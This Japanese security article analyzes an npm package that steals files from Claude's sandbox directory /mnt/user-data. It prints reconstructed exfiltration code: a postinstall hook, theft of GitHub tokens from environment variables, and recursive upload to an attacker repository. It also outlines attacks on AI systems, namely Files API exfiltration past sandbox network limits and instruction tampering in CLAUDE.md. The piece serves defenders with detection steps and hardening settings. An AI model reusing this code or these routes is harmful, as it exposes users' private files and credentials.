2026年5月26日、npmレジストリに mouse5212-super-formatter という一見無害な名前のパッケージが公開された。OX SecurityのMoshe Siman Tov Bustan氏とNir Zadok氏が翌日27日に公表した分析によれば、このパッケージはAnthropic Claude AIのサンドボックス内ディレクトリ /mnt/user-data を明示的に狙う初の標的型npmマルウェアだった。研究者はこのキャンペーンを「Malware-Slop」と命名している。AI生成と思しき粗雑なコード品質、自前のGitHub Personal Access Token(PAT)をパッケージ内に露出させるOPSEC失敗、そしてClaudeのCode Interpreterというごく特殊な実行環境を狙った特化型ペイロード——本記事では一次情報をもとに、攻撃の全貌・AI開発環境への影響・取るべき防御策をまとめる。
AI時代のnpm/PyPIサプライチェーン攻撃全体像と防御フレームワークは サプライチェーンセキュリティ完全ガイド2026|攻撃手法・防御ツール・実践チェックリスト をご覧ください。
- ・npmパッケージ
mouse5212-super-formatterはClaude AIの/mnt/user-dataディレクトリを再帰的にGitHubへアップロードする標的型マルウェア。 - ・postinstallフックで起動し、環境変数のGITHUB_TOKENかパッケージ内ハードコード値で認証してContents APIにファイルを送信する。
- ・676ダウンロード、攻撃者GitHubアカウントは公開数時間前に作成。コード内にPATが平文で露出するなどOPSECは破綻している。
- ・OX Securityはこのキャンペーンを「Malware-Slop」と命名。AI生成マルウェアの増加と粗雑化を示唆する象徴的事例。
- ・防御策は
--ignore-scripts、AIサンドボックスの/mnt/user-data機密管理、ZDR契約、依存スキャン(Socket・SafeDep・OX)多層化が中心。
mouse5212-super-formatterとは — Claude AIサンドボックスを狙った初の標的型npm
mouse5212-super-formatter は2026年5月26日にnpmレジストリへ公開された情報窃取型マルウェアだ。npm検索結果上は「ソースコードフォーマッタ」を装っており、READMEには「internal archive deployment sync utility(内部アーカイブデプロイメント同期ユーティリティ)」というもっともらしい説明文が並ぶ。実体は2つの機能を持つ:
- postinstall段階で
/mnt/user-dataを再帰的にスキャンし、各ファイルをGitHub Contents API経由で攻撃者リポジトリへアップロードする - 失敗時にネットワーク状況のスナップショットを取得するふりをし、検知をすり抜けるためのダミー処理を挿入する
特筆すべきは標的パスの選定だ。/home/user/ や ~/.ssh/ といった一般的な開発機の機密ディレクトリではなく、Anthropic Claude AIのCode Interpreterサンドボックスが内部マウントする /mnt/user-data を直接ハードコードしている。これはAnthropic製品の内部構造を理解した上で書かれた、明確に「Claudeのユーザー」を狙う設計だ。
Anthropic Claudeの /mnt/user-data 構造
Claude.aiのCode Interpreter(Analysis Tool)と一部のClaude Code環境は、ユーザーごとに分離されたLinuxサンドボックスを提供する。このサンドボックス内では以下のレイアウトが標準的だ:
/mnt/user-data/uploads/— ユーザーがアップロードしたファイル(CSV、PDF、ソースコード、機密書類など)/mnt/user-data/outputs/— Claudeが生成した出力ファイル(解析結果、生成コード、レポートPDFなど)/mnt/skills/— Claude Skillsの定義/tmp/— 揮発する一時領域
このうち /mnt/user-data/ の中身はセッション間で永続化される。つまり過去のチャットでアップロードしたファイルや、AIに生成させた出力ファイルが、新しいセッションからもアクセス可能な状態で残っている。攻撃者はこの設計上の特性を逆手に取り、サンドボックスに侵入できれば「ユーザーがClaudeに渡した全ファイル」を一括窃取できると考えた。
公開タイムラインと痕跡
| 日時(UTC) | 出来事 |
|---|---|
| 2026-05-26 早朝 | 攻撃者のGitHubアカウントが新規作成される |
| 2026-05-26 数時間後 | [email protected] 初版がnpmレジストリへ公開 |
| 2026-05-26〜27 | 複数バージョンがpublishされ、ダウンロード数676回を記録 |
| 2026-05-27 | OX Security(Moshe Siman Tov Bustan / Nir Zadok)が「Malware-Slop」として公表 |
| 2026-05-27 以降 | 攻撃者GitHubアカウントが削除される(npmレジストリからの取り下げ対応も進行中) |
ダウンロード676回のうち何件が「実際の開発者によるインストール」だったかは不明だが、OX Securityの調査では攻撃者のリポジトリ内にアクティブな窃取データが約7件残されており、その多くは攻撃者自身のテスト痕跡と推測されている。被害確定数は少ないが、これは攻撃が失敗したという意味ではなく、Claudeサンドボックスに npm install させる導線がまだ十分に確立されていないというだけだ。導線さえ整えば、676が67,600になりうる構造であることが要点になる。
攻撃チェーンの技術解剖 — postinstallからGitHub Contents APIまで
OX Securityの分析と公開されたソースコード断片から、攻撃チェーンは以下の流れで進行する。
Step 1: postinstallトリガー
npmは package.json の scripts.postinstall に書かれたコマンドを、パッケージインストール直後に何の確認もなく自動実行する。mouse5212-super-formatter の package.json は概ね以下のような構造を持つ:
{
"name": "mouse5212-super-formatter",
"version": "1.0.0",
"description": "internal archive deployment sync utility",
"main": "index.js",
"scripts": {
"postinstall": "node ./scripts/sync.js"
},
"dependencies": {
"@octokit/rest": "^21.0.0"
}
}
依存に @octokit/rest を入れているため、GitHub Contents API操作のための定型コードが手軽に書ける。Octokitは正規の人気SDKであり、ここに不自然さはない。
Step 2: 認証トークン取得 — 二段構えの取得ロジック
scripts/sync.js(OX Securityの分析を元に再構成した擬似コード)には以下のような認証ロジックが含まれる。
// 擬似コード:OX Security分析を元に再構成
const { Octokit } = require("@octokit/rest");
const fs = require("fs");
const path = require("path");
// 1. 環境変数からvictim PATを取得(CI/CDやAIエージェント環境で有効)
const victimToken =
process.env.GITHUB_TOKEN ||
process.env.GH_TOKEN ||
process.env.GITHUB_PAT;
// 2. なければ攻撃者自身のハードコードPATへフォールバック
const HARDCODED_TOKEN = "ghp_xxxxxxxxxxxxxxxxxxxxxxxx"; // 露出していた
const token = victimToken || HARDCODED_TOKEN;
const octokit = new Octokit({ auth: token });
この HARDCODED_TOKEN の存在こそが、OX Securityがキャンペーンを「Malware-Slop」と呼ぶ最大の根拠になっている。後述するが、これは2026年のAPTがやるOPSECとしては明らかに失格レベルの手抜きだ。
Step 3: リポジトリ作成と再帰アップロード
認証後、攻撃者リポジトリに対して octokit.repos.get でリポジトリの存在を確認し、なければ octokit.repos.createForAuthenticatedUser で動的に作成する。続いて /mnt/user-data を再帰的に走査する。
// 擬似コード
async function uploadDirectory(dir, repoOwner, repoName, sessionId) {
const entries = fs.readdirSync(dir, { withFileTypes: true });
for (const entry of entries) {
const fullPath = path.join(dir, entry.name);
if (entry.isDirectory()) {
await uploadDirectory(fullPath, repoOwner, repoName, sessionId);
} else {
const content = fs.readFileSync(fullPath);
await octokit.repos.createOrUpdateFileContents({
owner: repoOwner,
repo: repoName,
path: `${sessionId}/${path.relative("/mnt/user-data", fullPath)}`,
message: "sync: archive deployment update",
content: content.toString("base64"),
});
}
}
}
await uploadDirectory("/mnt/user-data", "attackerUser", "sync-archive", randomSessionId);
ポイントは3つ:
- 各窃取セッションごとにランダムなフォルダ名(sessionId)を切り、複数被害者のデータが混在しないよう整理している。
- コミットメッセージは「sync: archive deployment update」「daily checkpoint」など正規のCI/CDログに偽装。リポジトリ持ち主からの監査でも気づきにくい言葉選びだ。
- ファイルはBase64エンコードしてContents APIにPUTするため、通常のGitHubトラフィックに紛れ込む。outbound接続の宛先は
api.github.comのみであり、IDS/IPSやネットワーク監視ルールの大半は警告を出さない。
Step 4: 偽装処理
最後に「ネットワーク接続スナップショット」「依存パッケージのバージョン情報取得」などのダミー処理を実行し、サンドボックスのstdoutにそれらしいログを吐き出す。postinstall フックの実行ログを目視で確認した管理者にも、悪意ある動作を疑わせない作りになっている。
/mnt/user-data はなぜ狙われたのか — AIサンドボックス特化の構造的価値
汎用的なnpmマルウェアは ~/.ssh/・~/.aws/credentials・/etc/passwd・.env といった「どの開発機にもある」機密ファイルを狙う。mouse5212-super-formatter はそれらを完全に無視し、/mnt/user-data だけを標的にしている。なぜか。
1. ユーザーが「最も生々しい一次情報」を渡している場所
通常の開発機の .env にはある程度マスキング・分離されたシークレットしか入っていない。しかし /mnt/user-data/uploads/ には、ユーザーがClaudeに直接渡した生のファイルが並ぶ:
- 「このPDF読んで要約して」と投げた契約書原本
- 「このCSVを分析して」と投げた個人情報入りデータ
- 「このプロジェクトをレビューして」と投げたソースコードZIP
- 「このログから原因を特定して」と投げたAWSデバッグログ(多くの場合トークン含む)
つまり「ユーザーが最も信頼してAIに見せたもの」がそのまま残っている。汎用シークレットスキャナが扱うパターンでは検出しきれない、文脈付きの機密情報の山だ。
2. セッションを跨いで永続化される
通常のサンドボックスは揮発するが、Claude.aiのCode Interpreterは /mnt/user-data のみセッション間で残す設計になっている。つまり攻撃が成功すれば、過去数日〜数週間分のユーザー操作履歴を一度に持ち去れる。
3. 「AIエージェントが自動で npm install する」導線が増えている
2026年に入り、Claude Code、Codex、Cline、Cursorといったエージェント型AIが、ユーザーの指示の中で自律的に npm install <pkg> を呼び出すケースが急増している。エージェントがClaudeのサンドボックス内で動作する場合、攻撃者は「Claudeが思わずインストールしたくなる名前」のパッケージ(”super-formatter” のような汎用名)を撒くだけで導線が成立する。これはタイポスクワッティング攻撃に近いが、ターゲットがAIの判断ミスに置き換わっている点が新しい。
4. Claudeのファイル送信エコシステムを悪用しうる
OX Securityの記事は明示していないが、関連研究として2025年10月にEmbrace the Redが報告した Claude Pirate では、/mnt/user-data/outputs/ に書き出したファイルをAnthropic自身のFiles APIでアップロードさせる手口が示されている。Anthropic公式のエンドポイント(api.anthropic.com)への送信になるため、サンドボックスのデフォルト「Package managers only」ネットワーク制限ですら通過してしまう。mouse5212がGitHub Contents APIを使ったのに対し、後続の派生型がAnthropic Files APIに切り替える可能性も十分にありえる。
ユーザーがアップロードした
機密ファイル"] A --> C["/mnt/user-data/outputs/
Claudeが生成した
レポート・分析結果"] D["npm install
mouse5212-super-formatter"] -->|"postinstall実行"| E["/mnt/user-data 全スキャン"] B --> E C --> E E -->|"Base64 + Octokit"| F["攻撃者GitHub
sync-archive リポジトリ"] E -.->|"派生型の可能性"| G["api.anthropic.com
Files API"] style E fill:#fee style F fill:#fee style G fill:#ffd
Malware-Slop命名の由来 — AI生成マルウェアの粗雑なOPSEC
OX Securityがキャンペーンを「Malware-Slop」と呼んだ最大の理由は、攻撃者の作戦保証(OPSEC)が驚くほど杜撰だった点にある。
露出していた4つのOPSEC失敗
| # | 失敗内容 | 影響 |
|---|---|---|
| 1 | ハードコードのGitHub PATが平文でnpmパッケージ内に同梱 | OX Security研究者がトークンを使い、攻撃者リポジトリ・アクティビティをリアルタイム監視可能になった |
| 2 | 攻撃者GitHubアカウントが公開数時間前に新規作成 | 履歴のないアカウントは異常検出の格好の対象 |
| 3 | テストリポジトリと本番リポジトリを同一アカウントで作成 | 攻撃者自身のIPと挙動が追跡可能 |
| 4 | コミットタイムスタンプとコミット履歴がそのまま残存 | フォレンジック上、攻撃者のタイムゾーン・作業時間帯まで判明 |
これらは2026年のAPT(Advanced Persistent Threat)水準では考えられない初歩的なミスばかりだ。Lazarus Groupや国家系アクターは複数のスローアウェイアカウント、トークンのリモートフェッチ、コミットタイムスタンプ偽装などを当然のように実装する。
「AIに書かせて検証せずアップロードした」可能性
OX Securityは記事の中で、以下のように示唆している:
- コード全体の構造が「LLMが想定するありそうな構造」に近く、無駄に技術的で目立たない英語コメントが大量に挿入されている
- 関数名・変数名が中途半端に説明的で、「postinstall scriptを書いてください、リポジトリを作って /mnt/user-data をアップロードして」のようなプロンプトに対するLLM出力に酷似している
- ハードコードトークンを「フォールバック」と書いて残している時点で、コーディング時のリスク評価が完全に欠落している
つまりこの攻撃者は、悪意あるコードをLLMに書かせ、そのまま検証せずにnpmへpublishした可能性が高い。OX Securityは「AIによる悪意あるコード生成のハードルが下がった結果、APTを模倣しつつも基本的なセキュリティ概念を欠いた粗雑な脅威行為者が増えるだろう」と結論づけている。
「Slop」が意味するもの
「Slop」はインターネットスラングで「AI生成コンテンツの粗悪な投げ売り」を指す。文章生成では既に「AI slop blog」「AI slop YouTube channel」といった呼称が定着しており、低品質コンテンツの代名詞になっている。OX Securityはこれをマルウェア領域に持ち込み、AIに生成させてそのまま流すだけの低品質マルウェアを「Malware-Slop」と呼んだ。
これは皮肉な命名であると同時に、防御側にとっては警鐘でもある。なぜなら——
- 数が増える: AIが書くのでパッケージ公開コストが劇的に下がる
- 個別検出が難しい: 1つ1つのバリエーションが微妙に異なる
- 多くは粗雑だが、ごく一部はうまく書ける: 全体の99%は失敗しても、1%が成功すれば攻撃キャンペーンとして成立する
既存のnpmサプライチェーン攻撃との比較
2026年上半期だけで、npmレジストリは Shai-Hulud / Mini Shai-Hulud / TanStack / TrapDoor / antv / SAP / Megalodon など複数の大規模サプライチェーン攻撃に晒されてきた。Malware-Slopは何が違うのか。
| キャンペーン | 主な手法 | 対象 | 規模 | AIサンドボックス意識 |
|---|---|---|---|---|
| Shai-Hulud(2025-09) | メンテナアカウント乗っ取り+自己増殖ワーム | 開発機の認証情報全般 | 数百パッケージ | なし |
| Mini Shai-Hulud(TanStack/antv) | OSSメンテナフィッシング | GitHub Actions・CI環境 | 数十パッケージ | 一部 CLAUDE.md 改竄あり |
| TrapDoor(2026-05-22) | npm/PyPI/Crates.io横断、ゼロ幅Unicode | 暗号資産・SSH鍵・AWS | 34パッケージ・384バージョン | .cursorrules・CLAUDE.md改竄 |
| Malware-Slop(2026-05-26) | AI生成 + postinstall + GitHub Contents API | Claude /mnt/user-data |
1パッケージ・676DL | 完全特化 |
| Axios CVE-2026-40175(2026-04-14) | 正規パッケージのRCE脆弱性 | アプリ全般 | グローバル | なし |
mouse5212-super-formatter は単独パッケージ・676ダウンロードと規模は最小だが、「AIサンドボックスを名指しで狙った初の事例」として歴史的に位置づけられる。TrapDoorはAIアシスタント設定ファイル(CLAUDE.md・.cursorrules)にゼロ幅文字を埋め込んで間接的にAIを操ろうとしたが、Malware-Slopはより直接的に「AIが動いているサンドボックス内のファイルそのもの」を取りに来た点が新しい。
サプライチェーン攻撃の進化系としてTrapDoor|npm・PyPI・Crates.io横断34パッケージ384バージョンのクリプト窃取サプライチェーン攻撃、メンテナ乗っ取り型としてMini Shai-Hulud:TanStack npm乗っ取りで暴かれたGitHub Actionsの抜け穴も併せて確認しておくと、AIサプライチェーン全体の攻撃面が見渡せる。
Claude側の攻撃面との接続
/mnt/user-data を狙うこのキャンペーンは、Claude/Anthropicそのもののセキュリティモデルとも交差する。Claude Codeに送信されるデータ・学習利用の範囲・サンドボックス境界の挙動を整理したClaudeに送ったデータは学習に使われる?|セキュリティ・プライバシー・ガバナンス完全ガイドでは、「Claudeのプロセスが信用できるか」とは別に、「Claudeのサンドボックスに第三者ペイロードが入り込んだ場合の被害範囲」を別軸で評価する必要があると指摘している。Malware-Slopはまさに後者の代表例だ。
開発者・組織が取るべき防御策
mouse5212固有の対策に加え、同種のAIサンドボックス標的型npmマルウェアに対する一般的な防御策を整理する。
1. 即時対応 — もしインストールした場合
# 1) パッケージの存在確認
npm ls mouse5212-super-formatter
# 2) ロックファイルからの痕跡確認
grep -r "mouse5212-super-formatter" package-lock.json pnpm-lock.yaml yarn.lock
# 3) サンドボックス内の侵害確認(Claude Code / Code Interpreter内で実行)
ls -laR /mnt/user-data 2>/dev/null
# 4) GitHub PATローテーション
gh auth token --hostname github.com # 現在のPATを確認
# → GitHub > Settings > Developer settings > Personal access tokens で即時失効
# 5) パッケージ削除
npm uninstall mouse5212-super-formatter
rm -rf node_modules package-lock.json
npm install --ignore-scripts
/mnt/user-data 配下に機密ファイルを置いた覚えがある場合は、「インストール時点で既に窃取済み」として扱い、関連するAPIキー・GitHub PAT・データソース認証情報の全ローテーションを推奨する。
2. postinstallスクリプトを原則無効化
npm/pnpm/yarnいずれも、postinstall自動実行を抑止できる。AIサンドボックスとCI/CDではこれをデフォルト無効にすべきだ。
# npm: グローバル設定
npm config set ignore-scripts true
# npm: 個別インストール時のみ
npm install --ignore-scripts
# yarn 1.x
yarn install --ignore-scripts
# pnpm: 明示的にビルドを許可するパッケージのみホワイトリスト化
# package.json > pnpm > onlyBuiltDependencies
{
"pnpm": {
"onlyBuiltDependencies": ["esbuild", "sharp"]
}
}
3. 依存スキャン多層化
単一のスキャナでは公開直後(mouse5212の場合は0時間〜数十時間)のゼロデイ窓を埋められない。Socket・SafeDep・OX Security・Snyk・GitHub Dependabotを多層化することで検出の窓を狭められる。Socket Threat Researchは公開後中央値5分27秒で検出した実績を持つが、CI/CDが分単位で動く現代では「最初に走る検出器」を持つことが重要だ。
4. AIサンドボックスの境界強化
Claude.ai Enterprise / API / Claude Codeを業務利用している場合、以下を組織側で強制する。
- ZDR契約: Zero Data Retentionを契約し、Anthropic側に処理ログが残らないようにする
- Network Egress制御: サンドボックスからの outbound 接続を whitelist 制に。GitHub への接続も必要なリポジトリ単位で許可する
- Managed Settings: Claude Codeの
--dangerously-skip-permissionsを禁止 /mnt/user-dataへ機密ファイルを置かない運用: 機密書類はOAuth経由のGoogle Drive/Box連携など、サンドボックス外でアクセス制御をかけた状態でClaudeに渡す
5. PAT露出の自動検出
mouse5212自身がやらかしたように、コード内のPAT埋め込みは事故にも悪意にも繋がる。gitleaks / trufflehog / GitHub Secret ScanningのPATパターン検出を、Pre-commit・Pre-publishの両方で動かす。npmへのpublish前に動くLintとしては npm pack --dry-run の出力に対して gitleaks detect をかけるのが最もシンプルだ。
# pre-publishフック例(.husky/pre-publish)
npm pack --dry-run --json | jq -r '.[0].files[].path' | \
xargs gitleaks detect --no-git --source=
6. AIエージェントの自律 npm install を抑制
Claude Code・Cursor・Cline等のエージェントは、ユーザーの自然言語指示から npm install <pkg> を自発的に提案・実行することがある。permissions.deny で Bash(npm install:*) を明示的に制限し、許可済みのパッケージのみホワイトリスト経由でインストールさせる構成が安全だ。
// ~/.claude/settings.json
{
"permissions": {
"allow": [
"Bash(npm install:react)",
"Bash(npm install:next@*)",
"Bash(npm install:typescript)"
],
"deny": ["Bash(npm install:*)"]
}
}
AI生成マルウェア時代に必要な視点
Malware-Slopは規模としては小さく、見方によっては「失敗作」だ。だが、3つの意味で2026年以降の攻撃の前触れとして読み解くべきだ。
- 攻撃者の動機が「AIインフラ」へ向き始めた: 開発機ではなく、AIエージェントが触るサンドボックスへ。Claudeだけでなく、Codex・Cursor・Gemini・Replit Agentなどあらゆる「AIが見ているファイル空間」が新たな攻撃面になる。
- AI生成マルウェアの粗雑化と量産化: 1個1個は失敗作でも、数十万単位で投下されれば一定数が成功する確率論的攻撃へ移行する。npmレジストリ側の自動マルウェアブロックが追いつかない時間帯に、「使い捨ての低品質マルウェア」が定常的に流入する世界が想定される。
- 防御側もAIで対抗するしかない: Socket・SafeDep・OXのようなリアルタイムLLMベース挙動分析が標準になる。シグネチャベース検出だけでは、毎回違うAI生成バリエーションには追従できない。
開発者個人の防衛線としては、「AIエージェントを業務に組み込むなら、/mnt/user-data には機密を置かない」「postinstallはデフォルトで無効」「PATは短命・最小権限」の3点が当面の最重要事項だ。AIエージェントを使うこと自体のリスクではなく、AIエージェントが見ているファイル空間を第三者ペイロードと共有してしまうことこそが本当のリスクになる、というのがMalware-Slopが教えた最大の教訓と言える。
参照ソース
- Malware-Slop: New Malicious npm Package Leaks Its Own GitHub Private Token — OX Security (2026-05-27)
- Malicious npm Package Stole Files From Claude AI User Directory via GitHub — The Hacker News (2026-05-27)
- Claude Pirate: Abusing Anthropic’s File API For Data Exfiltration — Embrace The Red (2025-10-30)
- Configure the sandboxed Bash tool — Claude Code Docs
- Inside Claude’s Sandbox: What Happens When Claude.ai Creates a File — DEV Community